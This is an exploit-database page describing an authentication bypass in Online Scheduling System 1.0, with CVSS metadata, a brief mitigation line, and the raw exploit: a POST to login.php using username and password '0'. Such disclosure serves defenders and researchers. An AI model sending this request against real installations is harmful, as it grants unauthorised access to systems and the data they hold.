header-logo
Suggest Exploit
vendor:
Online Scheduling System
by:
Bobby Cooke
7.5
CVSS
HIGH
Authentication Bypass
287
CWE
Product Name: Online Scheduling System
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: NO
Related CWE: N/A
CPE: a:sourcecodester:online_scheduling_system:1.0
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
2020

Online Scheduling System 1.0 – Authentication Bypass

An attacker can bypass authentication of the Online Scheduling System 1.0 by sending a malicious POST request to the login.php page with a username and password of 0.

Mitigation:

Ensure that authentication is properly implemented and that user input is properly validated.
Source

Exploit-DB raw data:

# Exploit Title: Online Scheduling System 1.0 - Authentication Bypass
# Exploit Author: Bobby Cooke
# Date: 2020-04-30
# Vendor Homepage: https://www.sourcecodester.com/php/14168/online-scheduling-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-scheduling-system.zip
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4

# Malicious POST Request to https://TARGET/Online%20Scheduling%20System/login.php HTTP/1.1
  POST /Online%20Scheduling%20System/login.php HTTP/1.1
  Host: TARGET
  Connection: close
  Cookie: PHPSESSID=8o12pka3gvais768f43v5q4d60

  username=0&password=0&lgn=Login

Navigation

Suggest Exploit

Services By CQR